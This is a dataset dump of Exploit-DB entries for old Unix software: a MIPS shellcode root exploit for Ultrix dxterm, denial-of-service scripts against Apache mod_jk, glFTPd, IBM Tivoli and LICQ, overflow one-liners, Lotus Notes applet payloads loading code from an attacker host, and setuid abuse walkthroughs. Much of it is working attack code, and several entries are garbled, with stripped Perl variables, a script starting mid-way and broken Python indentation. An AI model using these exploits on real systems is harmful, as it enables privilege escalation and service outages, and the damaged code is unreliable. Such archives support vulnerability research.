deardaniel/secdata-raw huggingface dataset:
Exploit-DB #698
Description: Ultrix 4.5/MIPS - dxterm 0 Local Buffer Overflow
Type: local
Platform: ultrix
Date: 2004-12-20
Author: Kristoffer BrÃ¥nemyr

Exploit:
/* Ultrix 4.5/MIPS dxterm exploit
  by ztion in 2004
  Greets to: Stok, sidez

  It wasn't possible to use '/' in the shellcode. Probably dxterm only
  copies everything after the last slash, as it expects a path.
  Since everything is pretty much hardcoded, you will probably have to
  tweak it for versions other than 4.5

  nora> ./ultrix_dxterm_4.5_exploit
  $ id
  uid=268(ztion) gid=15(users)euid=0(root)
*/

#include <stdio.h>

#define NOP 0x25f8e003
#define RET 0x7fffbe90

char shellcode[] = {
       0x69,0x6e,0x19,0x3c,    /* lui   $t9, 0x6e69 */
       0x2e,0x61,0x39,0x37,    /* ori   $t9, $t9, 0x612e */
       0x38,0x01,0xb6,0x23,    /* addi  $s6, $sp, 312 */
       0x01,0x01,0x39,0x23,    /* addi  $t9, $t9, 0x0101 */
       0xf0,0xfe,0xd9,0xae,    /* sw    $t9, -272($s6) */
       0x73,0x68,0x19,0x3c,    /* lui   $t9, 0x6873 */
       0x11,0x11,0x06,0x24,    /* li    $a2, 0x1111 */
       0x11,0x11,0xc6,0x38,    /* xori  $a2, $a2, 0x1111 */
       0x2e,0x2e,0x39,0x37,    /* ori   $t9, $t9, 0x2e2e */
       0xf0,0xfe,0xc4,0x26,    /* addiu $a0, $s6, -272 */
       0x01,0x01,0x39,0x23,    /* addi  $t9, $t9, 0x0101 */
       0x3f,0x01,0x02,0x24,    /* li    $v0, 319 */
       0xfc,0xfe,0x42,0x20,    /* addi  $v0, $v0, -260 */
       0xf4,0xfe,0xd9,0xae,    /* sw    $t9, -268($s6) */
       0xe8,0xfe,0xc4,0xae,    /* sw    $a0, -280($s6) */
       0xf8,0xfe,0xc6,0xae,    /* sw    $a2, -264($s6) */
       0xec,0xfe,0xc6,0xae,    /* sw    $a2, -276($s6) */
       0xe8,0xfe,0xc5,0x26,    /* addiu $a1, $s6, -280 */
       0xcc,0xff,0xff,0x01     /* syscall */

};

int main(void)
{
       char buf[256];
       int i;

       memset (buf, 2, 255);
       i = 0;
       while (i <= 8) {
               ((int *)(buf+1))[i] = NOP;
               i++;
       }

       memcpy (buf+33, shellcode, sizeof(shellcode));

       ((int *)(buf+3))[29] = RET;
       /* 119 - 122 is the return address */
       buf[123] = '\0';

       execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL);
}

// milw0rm.com [2004-12-20]
Exploit-DB #22068
Description: Apache 1.3.x + Tomcat 4.0.x/4.1.x mod_jk - Chunked Encoding Denial of Service
Type: dos
Platform: unix
Date: 2002-12-04
Author: Sapient2003

Exploit:
source: https://www.securityfocus.com/bid/6320/info

Apache Webserver and Tomcat are HTTP servers maintained and distributed by the Apache project. Apache Webserver and Tomcat are available for the Unix, Linux, and Microsoft Windows platforms.

It has been reported that a denial of service exists in Apache Webserver and Tomcat when mod_jk is used. Due to design problems in the module, a user submitting malicious requests to the Apache Webserver may cause desynchronization between Apache and Tomcat. This could be done through malicious chunked encoding requests.

#!/usr/bin/perl -w

use IO::Socket;

 = "Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";

unless (@ARGV == 1) {
  print "\n By Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 = "GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";

 = IO::Socket::INET->new(
        PeerAddr => [0],
        PeerPort => 69,
        Proto    => "udp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]\n";
close();
Exploit-DB #21531
Description: Caldera OpenServer 5.0.x - XSCO Color Database File Heap Overflow
Type: dos
Platform: unix
Date: 2002-06-11
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/4985/info

OpenServer is commercial Unix operating system originally developed by SCO, and distributed by Caldera.

It may be possible for a local user to gain elevated privileges. When Xsco is executed, and an excessively long argument is supplied to the -co flag, a heap overflow occurs. This problem could allow a local user to supply a maliciously formatted string with the -co option that could result in the execution of arbitrary code, and elevated privileges.

./Xsco :1 -co `perl -e 'print "A" x 9000'`
Exploit-DB #21236
Description: DNRD 1.x/2.x - DNS Request/Reply Denial of Service
Type: dos
Platform: unix
Date: 2002-01-20
Author: Andrew Griffiths

Exploit:
source: https://www.securityfocus.com/bid/3928/info

dnrd (Domain Name Relay Daemon) is a freely available, open-source proxy name server. It will run on a number of Unix and Linux distributions.

There is a lack of sufficient bounds checking in DNS request and reply functions. As a result, it is possible for a remote attacker to cause a denial of service to legitimate users of dnrd.

It is not known whether it is possible to execute arbitrary attacker-supplied instructions as a result of this vulnerability.

dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1
Exploit-DB #23945
Description: Ettercap 0.7.5.1 - Stack Overflow
Type: dos
Platform: unix
Date: 2013-01-07
Author: Sajjad Pourali

Exploit:
Title: Ettercap Stack overflow (CWE-121)
References: CVE-2012-0722
Discovered by: Sajjad Pourali
Vendor: http://www.ettercap.sourceforge.net/
Vendor contact: 13-01-01 21:20 UTC (No response)
Solution: Using the patch
Patch: http://www.securation.com/files/2013/01/ec.patch

Local: Yes
Remote: No
Impact: low

Affected:
 - ettercap 0.7.5.1
 - ettercap 0.7.5
 - ettercap 0.7.4 and earlier
Not affected:
 - ettercap 0.7.4.1

---

Trace vulnerable place:

./include/ec_inet.h:27-44
enum {
   NS_IN6ADDRSZ            = 16,
   NS_INT16SZ              = 2,

   ETH_ADDR_LEN            = 6,
   TR_ADDR_LEN             = 6,
   FDDI_ADDR_LEN           = 6,
   MEDIA_ADDR_LEN          = 6,

   IP_ADDR_LEN             = 4,
   IP6_ADDR_LEN            = 16,
   MAX_IP_ADDR_LEN         = IP6_ADDR_LEN,

   ETH_ASCII_ADDR_LEN      = sizeof("ff:ff:ff:ff:ff:ff")+1,
   IP_ASCII_ADDR_LEN       = sizeof("255.255.255.255")+1,
   IP6_ASCII_ADDR_LEN      = sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1,
   MAX_ASCII_ADDR_LEN      = IP6_ASCII_ADDR_LEN,
};

./include/ec_resolv.h:42
#define MAX_HOSTNAME_LEN   64

./src/ec_scan.c:610-614
char ip[MAX_ASCII_ADDR_LEN];
char mac[ETH_ASCII_ADDR_LEN];
char name[MAX_HOSTNAME_LEN];


./src/ec_scan.c:633-635
if (fscanf(hf, "%s %s %s\n", ip, mac, name) != 3 ||
         *ip == '#' || *mac == '#' || *name == '#')
         continue;

---

PoC:

sudo ruby -e'puts"a"*2000' > overflow && sudo ettercap -T -j overflow

---

 + Sajjad Pourali
 + http://www.securation.com
 + Contact: sajjad[at]securation.com
Exploit-DB #21074
Description: glFTPd 1.x - 'LIST' Denial of Service
Type: dos
Platform: unix
Date: 2001-08-17
Author: ASGUARD LABS

Exploit:
source: https://www.securityfocus.com/bid/3201/info

glFtpD contains an input validation error that may allow a malicious user to cause a denial of service against a host running the daemon.

The problem occurs when a specially crafted 'LIST' command is received by the server. If the argument to the command contains an excessive number of '*' characters, the server will cease to respond and consume all available CPU resources on the system.

If the attack is successful, the server will need to be manually restarted to regain normal functionality.

#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
"Error: can't send pass\n";

print $remote "LIST $err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\nnote: Attack done doesn't mean
Attack successful\n";
$bla= <STDIN>;
close $remote;
Exploit-DB #30714
Description: IBM Lotus Domino 7.0.2 - IMAP4 LSUB Buffer Overflow
Type: dos
Platform: unix
Date: 2007-10-27
Author: Manuel Santamarina Suarez

Exploit:
source: https://www.securityfocus.com/bid/26219/info

IBM Lotus Domino Server is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

An exploit is available for Lotus Domino Server running on Windows platforms. It is not known if other platforms are affected.

This issue may be related to the IMAP buffer-overflow vulnerability described in BID 26176.

Error: Invalid username or password!\n";
    exit;
}

print "[+] Successfully logged in.\n".
      "[+] Trying to overwrite and control the SE handler...\n";

$sock->send( "a002 SUBSCRIBE {" . length( $mailbox ) . "}\r\n" );
$sock->recv( $recv, 1024 );
$sock->send( "$mailbox\r\n" );
$sock->recv( $recv, 1024 );
$sock->send( "a003 LSUB arg1 arg2\r\n" );
sleep( 3 );
close( $sock );

print "[+] Done. Now check for a bind shell on $ip:4444!\n";
Exploit-DB #24243
Description: IBM Lotus Domino Server 6 - Web Access Remote Denial of Service
Type: dos
Platform: unix
Date: 2004-06-30
Author: Andreas Klein

Exploit:
source: https://www.securityfocus.com/bid/10641/info

Lotus Domino Server is reported prone to a remote denial of service vulnerability. The issue is reported to exist when a malicious email that is received on the affected server, is opened through the Domino Web Access interface by a client.

A remote attacker may exploit this condition to deny Lotus Domino service to legitimate users. 

(just paste all the lines below into the body of the mail)
--- snip here; do not paste this line --
Content-Disposition: Attachment; filename="PC210017.JPG"
Content-Type: image/jpeg;
Name="PC210017.JPG"
Content-Transfer-Encoding: Base64

/9j/4Re0RXhpZgAASUkqAAgAAAALAA4BAgAgAAAAkgAAAA8BAgAYAAAAsgAAABABAgAMAAAA
ygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgBAwABAAAAAgAAADEB
AgAJAAAA6AAAADIBAgAUAAAACAEAABMCAwABAAAAAgAAAGmHBAABAAAAHAEAAAADAABPTFlN
[Add here some megabytes of data. 1kB is not enough, but 12MB was
sufficient in all my tests]
--- snip here; do not pste this line ---
Exploit-DB #25353
Description: IBM Lotus Domino Server 6.5.1 Web Service - Remote Denial of Service
Type: dos
Platform: unix
Date: 2005-04-06
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/13045/info

A remote denial of service vulnerability affects IBM Lotus Domino Server web service. This issue is due to a failure of the application to properly handle malformed network requests.

IBM has denied that this issue is a vulnerability and they have reported conflicting details regarding it. Please see the referenced IBM technote for more information.

An attacker may leverage this issue to crash the nHTTP.EXE web service, denying service to legitimate users. 

GET /cgi-bin/[xxx] HTTP/1.0
Host: 10.10.0.100

Where [xxx] represents a long string (~330) of UNICODE decimal value 430 characters.
Exploit-DB #24275
Description: IBM Lotus Notes 6.0/6.5 - Multiple Java Applet Vulnerabilities
Type: dos
Platform: unix
Date: 2004-07-13
Author: Jouko Pynnonen

Exploit:
source: https://www.securityfocus.com/bid/10704/info

IBM Lotus Notes is affected by three vulnerabilities concerning Java applets.

An attacker can exploit these issues to disclose potentially sensitive information, cause a web browser to open an arbitrary web page, and cause a stack-based buffer overflow that may be exploited to execute arbitrary code.

IBM has confirmed these vulnerabilities and has stated that they are currently under investigation. IBM problem reports for these vulnerabilities are KSPR5YS6GR, KSPR62F4D3, and KSPR62F4KN. 

<applet codebase="file:///" archive="http://www.attacker.tld/applet.jar" width="1" height="1"></applet>

Arbitrary browser opening:
public void init() {
getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html");
}

Stack-based buffer overflow:
<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet>
Exploit-DB #33527
Description: IBM Tivoli Directory Server 6.2 - 'ibmdiradm' Null Pointer Dereference Denial of Service
Type: dos
Platform: unix
Date: 2006-04-01
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/37817/info


IBM Tivoli Directory Server is prone to a denial-of-service vulnerability caused by heap memory corruption.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

IBM Tivoli Directory Server 6.2 is vulnerable; other versions may also be affected.

#!/usr/bin/env python
# tivoli_nullptr.py
#
# Use this code at your own risk. Never run it against a production system.
# 
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import socket
import sys

"""
Discovery date: April, 2006!!! 

IBM Tivoli Directory Server 6.2 do_extendedOp DoS (null ptr dereference)
Tested on Red Hat Enterprise Linux Server release 5.4

# rpm -qa|grep idsldap-srv32bit
idsldap-srv32bit62-6.2.0-7

gdb backtrace:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x6c76b90 (LWP 2224)]
0x0807a1fc in do_extendedOp ()
(gdb) bt
#0  0x0807a1fc in do_extendedOp ()
#1  0x08073c5a in ConnMgr::connection_operation ()
#2  0x080dee1d in Worker::Run ()
#3  0x080bca46 in Thr::_doRun ()
#4  0x003195ab in start_thread () from /lib/libpthread.so.0
#5  0x00eb8cfe in clone () from /lib/libc.so.6
(gdb) x/i $eip
0x807a1fc : repz cmpsb %es:(%edi),%ds:(%esi)
(gdb) i r
eax            0x50 80
ecx            0x10 16
edx            0x6c760b0 113729712
ebx            0x81393c8 135500744
esp            0x6c760e0 0x6c760e0
ebp            0x6c761d8 0x6c761d8
esi            0x0 0
edi            0x80f7ed0 135233232
eip            0x807a1fc 0x807a1fc 
eflags         0x210202 [ IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) 

"""

def send_req(host,port):
      buf = "\x30\x26\x02\x02\x01\x91\x77\x20\x2d\x32\x36\x38\x34\x33\x35\x34"
        buf += "\x35\x35\x0f\x31\x2e\x33\x2e\x31\x38\x2e\x30\x2e\x32\x2e\x31\x32"
        buf += "\x2e\x31\x81\x04\x30\x02\x04\x00"
 print "Sending req to %s:%d, oid 1.3.18.0.2.12.1" % (host,port)

 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.connect((host,port))
 sock.sendall(buf)
 sock.close()

 print "Done"

if __name__=="__main__":
 if len(sys.argv)<3:
  print "usage: %s host port" % sys.argv[0]
  sys.exit()

 send_req(sys.argv[1],int(sys.argv[2]))
Exploit-DB #22918
Description: IBM U2 UniVerse 10.0.0.9 - 'uvrestore' Buffer Overflow (PoC)
Type: dos
Platform: unix
Date: 2003-07-16
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/8206/info

It has been reported that the uvrestore binary does not perform bounds checking when parsing command-line arguments. Because this binary is installed with suid root privileges by default, local attackers my be able to exploit this vulnerability to elevate privileges.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.

(gdb) r `perl -e 'print "A" x 6000'` 
Starting program: uvrestore `perl -e 'print "A" x 6000'`
Program received signal SIGSEGV, Segmentation fault.
0x0805e81a in basename ()
(gdb) bt
#0 0x0805e81a in basename ()
#1 0x080619b3 in basename ()
#2 0x42015574 in libc_start_main () from /lib/tls/libc.so.6
(gdb) i r
eax 0x4[PII_REDACTED]795585
Exploit-DB #22920
Description: IBM U2 UniVerse 10.0.0.9 - UVADMSH Buffer Overflow
Type: dos
Platform: unix
Date: 2003-07-16
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/8209/info

Under certain configurations, UniVerse allows the 'uvadm' user to perform certain administration tasks for the software. It has been reported that the uvadmsh binary does not perform bounds checking when parsing command-line arguments. Because access to the vulnerable option is restricted to the uvadm user, other users may not be able to exploit this vulnerability.

While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.

(gdb) r -uv.install `perl -e 'print "Z" x 546'`
Starting program: uvadmsh -uv.install `perl -e 'print "Z" x 546'`
error

Program received signal SIGSEGV, Segmentation fault.
0x5a5a5a5a in ?? ()
(gdb) bt
#0 0x5a5a5a5a in ?? ()
Cannot access memory at address 0x5a5a5a5a
Exploit-DB #21949
Description: IBM Websphere Caching Proxy 3.6/4.0 - Denial of Service
Type: dos
Platform: unix
Date: 2002-10-18
Author: Rapid7

Exploit:
source: https://www.securityfocus.com/bid/6002/info

A vulnerability has been reported in the Caching Proxy component bundled with IBM WebSphere Edge Server. The vulnerability is due to inadequate checks when processing HTTP headers.

An attacker can exploit this vulnerability by sending a malformed HTTP request to the Caching Proxy. When the service attempts to process the request the service will crash thereby causing the denial of service.

GET /cgi-bin/helpout.exe HTTP
Exploit-DB #24248
Description: IBM Websphere Caching Proxy Server 5.0 2 - Denial of Service
Type: dos
Platform: unix
Date: 2004-07-02
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/10651/info

A denial of service vulnerability is reported in the Caching Proxy component bundled with the IBM Websphere Edge Server.

It is reported that if the proxy is configured with the JunctionRewrite directive in conjunction with the UseCookie option, an attacker may be able to crash the application.

A remote attacker reportedly is able to cause a denial of service condition with one request.

IBM has released a patch dealing with this issue. This patch is available only to customers with support levels 2 or 3. 

echo ?GET? | nc www.example.com <proxy_port>
Exploit-DB #32454
Description: libxml2 - Denial of Service
Type: dos
Platform: unix
Date: 2008-10-02
Author: Christian Weiske

Exploit:
source: https://www.securityfocus.com/bid/31555/info

The libxml2 library is prone to a denial-of-service vulnerability caused by an error when handling files using entities in entity definitions.

An attacker can exploit this issue to cause the library to consume an excessive amount of memory, denying service to legitimate users.

The issue affects libxml2 2.7 prior to 2.7.2. 

XML file:

<?xml version='1.0' ?>
<!DOCTYPE test [
<!ENTITY ampproblem '&amp;'>
]>
<t a="&ampproblem;">a</t>
Exploit-DB #31627
Description: LICQ 1.3.5 - File Descriptor Remote Denial of Service
Type: dos
Platform: unix
Date: 2008-04-08
Author: Milen Rangelov

Exploit:
// source: https://www.securityfocus.com/bid/28679/info

LICQ is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

A remote attacker can exploit this issue to crash the affected application, denying service to legitimate users. The attacker may also be able to execute code, but this has not been confirmed. 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

// change to suit your needs
#define MAX 1024

int fds[MAX];

int main(int argc, char *argv[])
{
   int port,a;
   char host[12];
   struct sockaddr_in victim;
   struct in_addr inp;

   if (argc!=3)
   {
       printf("usage: %s <ip> <port>\n",argv[0]);
       exit(1);
   }

   port=atoi(argv[2]);
   strcpy(host,argv[1]);
   printf("ip=%s\n",host);

   for (a=1;a<=MAX;a++)
   {
       fds[a]=socket(PF_INET,SOCK_STREAM,0);
       victim.sin_family= AF_INET;
       victim.sin_port=htons(port);
       inet_aton(host,&victim.sin_addr);
       connect(fds[a],&victim,sizeof(victim));
   }

   printf("done!");

}
Exploit-DB #20192
Description: LPPlus 3.2.2/3.3 - Permissions Denial of Service
Type: dos
Platform: unix
Date: 2000-09-06
Author: Dixie Flatline

Exploit:
source: https://www.securityfocus.com/bid/1643/info

Vulnerability #1: Several files that are part of the LPPlus print management system are installed setuid root by default. These files include:

$LPHOME/bin/dccsched 
$LPHOME/bin/dcclpdser 
$LPHOME/bin/dccbkst 

These start the scheduler, LPD server and network status daemons.

$LPHOME/bin/dccshut 
$LPHOME/bin/dcclpdshut 
$LPHOME/bin/dccbkstshut

These stop the same services.

By default, all six may be run by a user of any privilege level, allowing any user to start and stop printing services, regardless of userid or group.

Vulnerability #2: $LPHOME/system/lpdprocess is created mode 777. This file contains the process ID of the dcclpdser process. If a user replaces the PID in $LPHOME/system/lpdprocess with the PID of a target process, then runs $LPHOME/bin/dcclpdshut, the combination of this file's permissions, and the fact that dcclpdshut is executable by any user, allows any user to send signal 2 (SIGINT) to, thereby shutting down, any process.

Vulnerability #1: 

$ id
uid=600(test) gid=300(users)
$ ps -ef|grep dcc
test 26357 26351 0 18:18:06 pts/0 0:00 grep dcc
root 26262 1 0 17:41:50 ? 0:01 /opt/lpplus/bin/dccsched
root 26272 1 0 17:42:03 ? 0:00 /opt/lpplus/bin/dcclpdser
root 26276 1 0 17:42:14 ? 0:00 /opt/lpplus/bin/dccbkst
$ dccbkstshut
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ dccshut
LPP054I LP Plus scheduler ordered to shutdown.
$ ps -ef|grep dcc 
test 26253 26239 0 17:39:45 pts/0 0:00 grep dcc 
$

Vulnerability #2

$ id
uid=600(test) gid=300(users)
$ ps -ef|grep inet
test 26285 26279 0 17:42:42 pts/0 0:00 grep inet
root 12276 1 0 Aug 22 ? 0:00 /usr/sbin/inetd -s
$ cat > $LPHOME/system/lpdprocess
12276
^D
$ dcclpdshut
LPD048E Signal sent to dcclpdser to shut down.
$ ps -ef|grep inet
test 26291 26279 0 17:45:17 pts/0 0:00 grep inet
$
Exploit-DB #22286
Description: Netscape 6.0/7.0 - Style Sheet Denial of Service
Type: dos
Platform: unix
Date: 2003-02-25
Author: Jocke

Exploit:
source: https://www.securityfocus.com/bid/6937/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code.

If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources. 

<html> <body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll"> </div> </div>
</body> </html>